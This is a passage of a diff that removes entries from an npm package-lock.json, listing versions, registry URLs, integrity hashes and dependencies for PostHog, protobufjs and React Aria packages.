"node_modules/@posthog/core": { - "version": "1.28.0", - "resolved": "https://registry.npmjs.org/@posthog/core/-/core-1.28.0.tgz", - "integrity": "sha512-753giUMWuk602UtS101tDZuNcwiKkr+3UEhLgfOwHAk2W32n53knOxAjyWT0JwMq5/+0uSQ2y4uaZXQAxwvBSw==", - "license": "MIT", - "dependencies": { - "@posthog/types": "1.372.6" - } - }, - "node_modules/@posthog/types": { - "version": "1.372.6", - "resolved": "https://registry.npmjs.org/@posthog/types/-/types-1.372.6.tgz", - "integrity": "sha512-sqI36LBvuo8xcYsXIlVa0q3IXJJjqtatM2LrXlyOM7kgHrldBwS4ldzaTXrTdpe/TiIl1b4ZHxtSHMzPig+DnQ==", - "license": "MIT" - }, - "node_modules/@protobufjs/aspromise": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@protobufjs/aspromise/-/aspromise-1.1.2.tgz", - "integrity": "sha512-j+gKExEuLmKwvz3OgROXtrJ2UG2x8Ch2YZUxahh+s1F2HZ+wAceUNLkvy6zKCPVRkU++ZWQrdxsUeQXmcg4uoQ==", - "license": "BSD-3-Clause" - }, - "node_modules/@protobufjs/base64": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@protobufjs/base64/-/base64-1.1.2.tgz", - "integrity": "sha512-AZkcAA5vnN/v4PDqKyMR5lx7hZttPDgClv83E//FMNhR2TMcLUhfRUBHCmSl0oi9zMgDDqRUJkSxO3wm85+XLg==", - "license": "BSD-3-Clause" - }, - "node_modules/@protobufjs/codegen": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/@protobufjs/codegen/-/codegen-2.0.5.tgz", - "integrity": "sha512-zgXFLzW3Ap33e6d0Wlj4MGIm6Ce8O89n/apUaGNB/jx+hw+ruWEp7EwGUshdLKVRCxZW12fp9r40E1mQrf/34g==", - "license": "BSD-3-Clause" - }, - "node_modules/@protobufjs/eventemitter": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@protobufjs/eventemitter/-/eventemitter-1.1.1.tgz", - "integrity": "sha512-vW1GmwMZNnL+gMRaovlh9yZX74kc+TTU3FObkkurpMaRtBfLP3ldjS9KQWlwZgraRE0+dheEEoAxdzcJQ8eXZg==", - "license": "BSD-3-Clause" - }, - "node_modules/@protobufjs/fetch": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@protobufjs/fetch/-/fetch-1.1.1.tgz", - "integrity": "sha512-GpptLrs57adMSuHi3VNj0mAF8dwh36LMaYF6XyJ6JMWlVsc+t42tm1HSEDmOs3A8fC9yyeisgLhsTVQokOZ0zw==", - "license": "BSD-3-Clause", - "dependencies": { - "@protobufjs/aspromise": "^1.1.1" - } - }, - "node_modules/@protobufjs/float": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@protobufjs/float/-/float-1.0.2.tgz", - "integrity": "sha512-Ddb+kVXlXst9d+R9PfTIxh1EdNkgoRe5tOX6t01f1lYWOvJnSPDBlG241QLzcyPdoNTsblLUdujGSE4RzrTZGQ==", - "license": "BSD-3-Clause" - }, - "node_modules/@protobufjs/path": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@protobufjs/path/-/path-1.1.2.tgz", - "integrity": "sha512-6JOcJ5Tm08dOHAbdR3GrvP+yUUfkjG5ePsHYczMFLq3ZmMkAD98cDgcT2iA1lJ9NVwFd4tH/iSSoe44YWkltEA==", - "license": "BSD-3-Clause" - }, - "node_modules/@protobufjs/pool": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/@protobufjs/pool/-/pool-1.1.0.tgz", - "integrity": "sha512-0kELaGSIDBKvcgS4zkjz1PeddatrjYcmMWOlAuAPwAeccUrPHdUqo/J6LiymHHEiJT5NrF1UVwxY14f+fy4WQw==", - "license": "BSD-3-Clause" - }, - "node_modules/@protobufjs/utf8": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@protobufjs/utf8/-/utf8-1.1.1.tgz", - "integrity": "sha512-oOAWABowe8EAbMyWKM0tYDKi8Yaox52D+HWZhAIJqQXbqe0xI/GV7FhLWqlEKreMkfDjshR5FKgi3mnle0h6Eg==", - "license": "BSD-3-Clause" - }, - "node_modules/@react-aria/breadcrumbs": { - "version": "3.5.32", - "resolved": "https://registry.npmjs.org/@react-aria/breadcrumbs/-/breadcrumbs-3.5.32.tgz", - "integrity": "sha512-S61vh5DJ2PXiXUwD7gk+pvS/b4VPrc3ZJOUZ0yVRLHkVESr5LhIZH+SAVgZkm1lzKyMRG+BH+fiRH/DZRSs7SA==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/i18n": "^3.12.16", - "@react-aria/link": "^3.8.9", - "@react-aria/utils": "^3.33.1", - "@react-types/breadcrumbs": "^3.7.19", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/button": { - "version": "3.14.5", - "resolved": "https://registry.npmjs.org/@react-aria/button/-/button-3.14.5.tgz", - "integrity": "sha512-ZuLx+wQj9VQhH9BYe7t0JowmKnns2XrFHFNvIVBb5RwxL+CIycIOL7brhWKg2rGdxvlOom7jhVbcjSmtAaSyaQ==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/interactions": "^3.27.1", - "@react-aria/toolbar": "3.0.0-beta.24", - "@react-aria/utils": "^3.33.1", - "@react-stately/toggle": "^3.9.5", - "@react-types/button": "^3.15.1", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/calendar": { - "version": "3.9.5", - "resolved": "https://registry.npmjs.org/@react-aria/calendar/-/calendar-3.9.5.tgz", - "integrity": "sha512-k0kvceYdZZu+DoeqephtlmIvh1CxqdFyoN52iqVzTz9O0pe5Xfhq7zxPGbeCp4pC61xzp8Lu/6uFA/YNfQQNag==", - "license": "Apache-2.0", - "dependencies": { - "@internationalized/date": "^3.12.0", - "@react-aria/i18n": "^3.12.16", - "@react-aria/interactions": "^3.27.1", - "@react-aria/live-announcer": "^3.4.4", - "@react-aria/utils": "^3.33.1", - "@react-stately/calendar": "^3.9.3", - "@react-types/button": "^3.15.1", - "@react-types/calendar": "^3.8.3", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/checkbox": { - "version": "3.16.5", - "resolved": "https://registry.npmjs.org/@react-aria/checkbox/-/checkbox-3.16.5.tgz", - "integrity": "sha512-ZhUT7ELuD52hb+Zpzw0ElLQiVOd5sKYahrh+PK3vq13Wk5TedBscALpjuXetI4pwFfdmAM1Lhgcsrd8+6AmyvA==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/form": "^3.1.5", - "@react-aria/interactions": "^3.27.1", - "@react-aria/label": "^3.7.25", - "@react-aria/toggle": "^3.12.5", - "@react-aria/utils": "^3.33.1", - "@react-stately/checkbox": "^3.7.5", - "@react-stately/form": "^3.2.4", - "@react-stately/toggle": "^3.9.5", - "@react-types/checkbox": "^3.10.4", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/combobox": { - "version": "3.15.0", - "resolved": "https://registry.npmjs.org/@react-aria/combobox/-/combobox-3.15.0.tgz", - "integrity": "sha512-qSjQTFwKl3x1jCP2NRSJ6doZqAp6c2GTfoiFwWjaWg1IewwLsglaW6NnzqRDFiqFbDGgXPn4MqtC1VYEJ3NEjA==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/focus": "^3.21.5", - "@react-aria/i18n": "^3.12.16", - "@react-aria/interactions": "^3.27.1", - "@react-aria/listbox": "^3.15.3", - "@react-aria/live-announcer": "^3.4.4", - "@react-aria/menu": "^3.21.0", - "@react-aria/overlays": "^3.31.2", - "@react-aria/selection": "^3.27.2", - "@react-aria/textfield": "^3.18.5", - "@react-aria/utils": "^3.33.1", - "@react-stately/collections": "^3.12.10", - "@react-stately/combobox": "^3.13.0", - "@react-stately/form": "^3.2.4", - "@react-types/button": "^3.15.1", - "@react-types/combobox": "^3.14.0", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/datepicker": { - "version": "3.16.1", - "resolved": "https://registry.npmjs.org/@react-aria/datepicker/-/datepicker-3.16.1.tgz", - "integrity": "sha512-6BltCVWt09yefTkGjb2gViGCwoddx9HKJiZbY9u6Es/Q+VhwNJQRtczbnZ3K32p262hIknukNf/5nZaCOI1AKA==", - "license": "Apache-2.0", - "dependencies": { - "@internationalized/date": "^3.12.0", - "@internationalized/number": "^3.6.5", - "@internationalized/string": "^3.2.7", - "@react-aria/focus": "^3.21.5", - "@react-aria/form": "^3.1.5", - "@react-aria/i18n": "^3.12.16", - "@react-aria/interactions": "^3.27.1", - "@react-aria/label": "^3.7.25", - "@react-aria/spinbutton": "^3.7.2", - "@react-aria/utils": "^3.33.1", - "@react-stately/datepicker": "^3.16.1", - "@react-stately/form": "^3.2.4", - "@react-types/button": "^3.15.1", - "@react-types/calendar": "^3.8.3", - "@react-types/datepicker": "^3.13.5", - "@react-types/dialog": "^3.5.24", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/dialog": { - "version": "3.5.34", - "resolved": "https://registry.npmjs.org/@react-aria/dialog/-/dialog-3.5.34.tgz", - "integrity": "sha512-/x53Q5ynpW5Kv9637WYu7SrDfj3woSp6jJRj8l6teGnWW/iNZWYJETgzHfbxx+HPKYATCZesRoIeO2LnYIXyEA==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/interactions": "^3.27.1", - "@react-aria/overlays": "^3.31.2", - "@react-aria/utils": "^3.33.1", - "@react-types/dialog": "^3.5.24", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/focus": { - "version": "3.21.5", - "resolved": "https://registry.npmjs.org/@react-aria/focus/-/focus-3.21.5.tgz", - "integrity": "sha512-V18fwCyf8zqgJdpLQeDU5ZRNd9TeOfBbhLgmX77Zr5ae9XwaoJ1R3SFJG1wCJX60t34AW+aLZSEEK+saQElf3Q==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/interactions": "^3.27.1", - "@react-aria/utils": "^3.33.1", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0", - "clsx": "^2.0.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/form": { - "version": "3.1.5", - "resolved": "https://registry.npmjs.org/@react-aria/form/-/form-3.1.5.tgz", - "integrity": "sha512-BWlONgHn8hmaMkcS6AgMSLQeNqVBwqPNLhdqjDO/PCfzvV7O8NZw/dFeIzJwfG4aBfSpbHHRdXGdfrk3d8dylQ==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/interactions": "^3.27.1", - "@react-aria/utils": "^3.33.1", - "@react-stately/form": "^3.2.4", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/grid": { - "version": "3.15.1", - "resolved": "https://registry.npmjs.org/@react-aria/grid/-/grid-3.15.1.tgz", - "integrity": "sha512-u/903msISq7V78lAJ1Nt4bElMTh6Pzp/bS+lFv79POkFeHWv4icb42egRI7D9YYjO1tYWmNHC5iTcxzvcnOWxQ==", - "license": "Apache-2.0", - "dependencies": { - "@swc/helpers": "^0.5.0", - "react-aria": "^3.48.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/i18n": { - "version": "3.12.16", - "resolved": "https://registry.npmjs.org/@react-aria/i18n/-/i18n-3.12.16.tgz", - "integrity": "sha512-Km2CAz6MFQOUEaattaW+2jBdWOHUF8WX7VQoNbjlqElCP58nSaqi9yxTWUDRhAcn8/xFUnkFh4MFweNgtrHuEA==", - "license": "Apache-2.0", - "dependencies": { - "@internationalized/date": "^3.12.0", - "@internationalized/message": "^3.1.8", - "@internationalized/number": "^3.6.5", - "@internationalized/string": "^3.2.7", - "@react-aria/ssr": "^3.9.10", - "@react-aria/utils": "^3.33.1", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/interactions": { - "version": "3.27.1", - "resolved": "https://registry.npmjs.org/@react-aria/interactions/-/interactions-3.27.1.tgz", - "integrity": "sha512-M3wLpTTmDflI0QGNK0PJNUaBXXfeBXue8ZxLMngfc1piHNiH4G5lUvWd9W14XVbqrSCVY8i8DfGrNYpyyZu0tw==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/ssr": "^3.9.10", - "@react-aria/utils": "^3.33.1", - "@react-stately/flags": "^3.1.2", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/label": { - "version": "3.7.25", - "resolved": "https://registry.npmjs.org/@react-aria/label/-/label-3.7.25.tgz", - "integrity": "sha512-oNK3Pqj4LDPwEbQaoM/uCip4QvQmmwGOh08VeW+vzSi6TAwf+KoWTyH/tiAeB0CHWNDK0k3e1iTygTAt4wzBmg==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/utils": "^3.33.1", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/landmark": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/@react-aria/landmark/-/landmark-3.1.1.tgz", - "integrity": "sha512-Njn/UVrCb2BPW1CPLHA1vrH51+ug62xLMNGUu2qtYj1rAxkLG1m3151hewgcxYtpmPxYlnRtOAmSuu/oD5YTFA==", - "license": "Apache-2.0", - "dependencies": { - "@swc/helpers": "^0.5.0", - "react-aria": "^3.48.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/link": { - "version": "3.9.1", - "resolved": "https://registry.npmjs.org/@react-aria/link/-/link-3.9.1.tgz", - "integrity": "sha512-lup+i3TVgVjRJOt6kpngZfP+3bmeABqcDRhEaE+7xg7DRpbeiccNYVMtKySiFTZePwP3fcbCyTGxZe6DY4CLmA==", - "license": "Apache-2.0", - "dependencies": { - "@swc/helpers": "^0.5.0", - "react-aria": "^3.48.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/listbox": { - "version": "3.15.3", - "resolved": "https://registry.npmjs.org/@react-aria/listbox/-/listbox-3.15.3.tgz", - "integrity": "sha512-C6YgiyrHS5sbS5UBdxGMhEs+EKJYotJgGVtl9l0ySXpBUXERiHJWLOyV7a8PwkUOmepbB4FaLD7Y9EUzGkrGlw==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/interactions": "^3.27.1", - "@react-aria/label": "^3.7.25", - "@react-aria/selection": "^3.27.2", - "@react-aria/utils": "^3.33.1", - "@react-stately/collections": "^3.12.10", - "@react-stately/list": "^3.13.4", - "@react-types/listbox": "^3.7.6", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/live-announcer": { - "version": "3.5.1", - "resolved": "https://registry.npmjs.org/@react-aria/live-announcer/-/live-announcer-3.5.1.tgz", - "integrity": "sha512-kLvwHjM3D7KgdquiAhUpRnMLKFrvl2r8naDXqPUlSWGRG15wsJRLhQOHLxGp0Umyg7KcSA+OD1mhQV5aRv0P1w==", - "license": "Apache-2.0", - "dependencies": { - "@swc/helpers": "^0.5.0", - "react-aria": "^3.48.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/menu": { - "version": "3.21.0", - "resolved": "https://registry.npmjs.org/@react-aria/menu/-/menu-3.21.0.tgz", - "integrity": "sha512-CKTVZ4izSE1eKIti6TbTtzJAUo+WT8O4JC0XZCYDBpa0f++lD19Kz9aY+iY1buv5xGI20gAfpO474E9oEd4aQA==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/focus": "^3.21.5", - "@react-aria/i18n": "^3.12.16", - "@react-aria/interactions": "^3.27.1", - "@react-aria/overlays": "^3.31.2", - "@react-aria/selection": "^3.27.2", - "@react-aria/utils": "^3.33.1", - "@react-stately/collections": "^3.12.10", - "@react-stately/menu": "^3.9.11", - "@react-stately/selection": "^3.20.9", - "@react-stately/tree": "^3.9.6", - "@react-types/button": "^3.15.1", - "@react-types/menu": "^3.10.7", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/numberfield": { - "version": "3.12.5", - "resolved": "https://registry.npmjs.org/@react-aria/numberfield/-/numberfield-3.12.5.tgz", - "integrity": "sha512-Fi41IUWXEHLFIeJ/LHuZ9Azs8J/P563fZi37GSBkIq5P1pNt1rPgJJng5CNn4KsHxwqadTRUlbbZwbZraWDtRg==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/i18n": "^3.12.16", - "@react-aria/interactions": "^3.27.1", - "@react-aria/live-announcer": "^3.4.4", - "@react-aria/spinbutton": "^3.7.2", - "@react-aria/textfield": "^3.18.5", - "@react-aria/utils": "^3.33.1", - "@react-stately/form": "^3.2.4", - "@react-stately/numberfield": "^3.11.0", - "@react-types/button": "^3.15.1", - "@react-types/numberfield": "^3.8.18", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/overlays": { - "version": "3.31.2", - "resolved": "https://registry.npmjs.org/@react-aria/overlays/-/overlays-3.31.2.tgz", - "integrity": "sha512-78HYI08r6LvcfD34gyv19ArRIjy1qxOKuXl/jYnjLDyQzD4pVb634IQWcm0zt10RdKgyuH6HTqvuDOgZTLet7Q==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/focus": "^3.21.5", - "@react-aria/i18n": "^3.12.16", - "@react-aria/interactions": "^3.27.1", - "@react-aria/ssr": "^3.9.10", - "@react-aria/utils": "^3.33.1", - "@react-aria/visually-hidden": "^3.8.31", - "@react-stately/flags": "^3.1.2", - "@react-stately/overlays": "^3.6.23", - "@react-types/button": "^3.15.1", - "@react-types/overlays": "^3.9.4", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/progress": { - "version": "3.4.30", - "resolved": "https://registry.npmjs.org/@react-aria/progress/-/progress-3.4.30.tgz", - "integrity": "sha512-S6OWVGgluSWYSd/A6O8CVjz83eeMUfkuWSra0ewAV9bmxZ7TP9pUmD3bGdqHZEl97nt5vHGjZ3eq/x8eCmzKhA==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/i18n": "^3.12.16", - "@react-aria/label": "^3.7.25", - "@react-aria/utils": "^3.33.1", - "@react-types/progress": "^3.5.18", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/radio": { - "version": "3.12.5", - "resolved": "https://registry.npmjs.org/@react-aria/radio/-/radio-3.12.5.tgz", - "integrity": "sha512-8CCJKJzfozEiWBPO9QAATG1rBGJEJ+xoqvHf9LKU2sPFGsA2/SRnLs6LB9fCG5R3spvaK1xz0any1fjWPl7x8A==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/focus": "^3.21.5", - "@react-aria/form": "^3.1.5", - "@react-aria/i18n": "^3.12.16", - "@react-aria/interactions": "^3.27.1", - "@react-aria/label": "^3.7.25", - "@react-aria/utils": "^3.33.1", - "@react-stately/radio": "^3.11.5", - "@react-types/radio": "^3.9.4", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/selection": { - "version": "3.27.2", - "resolved": "https://registry.npmjs.org/@react-aria/selection/-/selection-3.27.2.tgz", - "integrity": "sha512-GbUSSLX/ciXix95KW1g+SLM9np7iXpIZrFDSXkC6oNx1uhy18eAcuTkeZE25+SY5USVUmEzjI3m/3JoSUcebbg==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/focus": "^3.21.5", - "@react-aria/i18n": "^3.12.16", - "@react-aria/interactions": "^3.27.1", - "@react-aria/utils": "^3.33.1", - "@react-stately/selection": "^3.20.9", - "@react-types/shared": "^3.33.1", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/slider": { - "version": "3.8.5", - "resolved": "https://registry.npmjs.org/@react-aria/slider/-/slider-3.8.5.tgz", - "integrity": "sha512-gqkJxznk141mE0JamXF5CXml9PDbPkBz8dyKlihtWHWX4yhEbVYdC9J0otE7iCR3zx69Bm7WHoTGL0BsdpKzVA==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/i18n": "^3.12.16", - "@react-aria/interactions": "^3.27.1", - "@react-aria/label": "^3.7.25", - "@react-aria/utils": "^3.33.1", - "@react-stately/slider": "^3.7.5", - "@react-types/shared": "^3.33.1", - "@react-types/slider": "^3.8.4", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/spinbutton": { - "version": "3.8.1", - "resolved": "https://registry.npmjs.org/@react-aria/spinbutton/-/spinbutton-3.8.1.tgz", - "integrity": "sha512-mDed6rDI2JE3QCaX+QykRyw9GjiRAHY1+RqxX2DR0yEtW2n9GxTQfCR9KVnXm69eTgCoxDIa7okBCrHhYB8bUw==", - "license": "Apache-2.0", - "dependencies": { - "@swc/helpers": "^0.5.0", - "react-aria": "^3.48.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/ssr": { - "version": "3.9.10", - "resolved": "https://registry.npmjs.org/@react-aria/ssr/-/ssr-3.9.10.tgz", - "integrity": "sha512-hvTm77Pf+pMBhuBm760Li0BVIO38jv1IBws1xFm1NoL26PU+fe+FMW5+VZWyANR6nYL65joaJKZqOdTQMkO9IQ==", - "license": "Apache-2.0", - "dependencies": { - "@swc/helpers": "^0.5.0" - }, - "engines": { - "node": ">= 12" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/switch": { - "version": "3.7.11", - "resolved": "https://registry.npmjs.org/@react-aria/switch/-/switch-3.7.11.tgz", - "integrity": "sha512-dYVX71HiepBsKyeMaQgHbhqI+MQ3MVoTd5EnTbUjefIBnmQZavYj1/e4NUiUI4Ix+/C0HxL8ibDAv4NlSW3eLQ==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/toggle": "^3.12.5", - "@react-stately/toggle": "^3.9.5", - "@react-types/shared": "^3.33.1", - "@react-types/switch": "^3.5.17", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/table": { - "version": "3.17.11", - "resolved": "https://registry.npmjs.org/@react-aria/table/-/table-3.17.11.tgz", - "integrity": "sha512-GkYmWPiW3OM+FUZxdS33teHXHXde7TjHuYgDDaG9phvg6cQTQjGilJozrzA3OfftTOq5VB8XcKTIQW3c0tpYsQ==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/focus": "^3.21.5", - "@react-aria/grid": "^3.14.8", - "@react-aria/i18n": "^3.12.16", - "@react-aria/interactions": "^3.27.1", - "@react-aria/live-announcer": "^3.4.4", - "@react-aria/utils": "^3.33.1", - "@react-aria/visually-hidden": "^3.8.31", - "@react-stately/collections": "^3.12.10", - "@react-stately/flags": "^3.1.2", - "@react-stately/table": "^3.15.4", - "@react-types/checkbox": "^3.10.4", - "@react-types/grid": "^3.3.8", - "@react-types/shared": "^3.33.1", - "@react-types/table": "^3.13.6", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-aria/tabs": { - "version": "3.11.1", - "resolved": "https://registry.npmjs.org/@react-aria/tabs/-/tabs-3.11.1.tgz", - "integrity": "sha512-3Ppz7yaEDW9L7p9PE9yNOl5caLwNnnLQqI+MX/dwbWlw9HluHS7uIjb21oswNl6UbSxAWyENOka45+KN4Fkh7A==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/focus": "^3.21.5", - "@react-aria/i18n": "^3.12.16", - "@react-aria/selection": "^3.27.2", - "@react-aria/utils": "^3.33.1", - "@react-stately/tabs": "^3.8.9", - "@react-types/shared": "^3.33.1", - "@react-types/tabs": "^3.3.22", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { 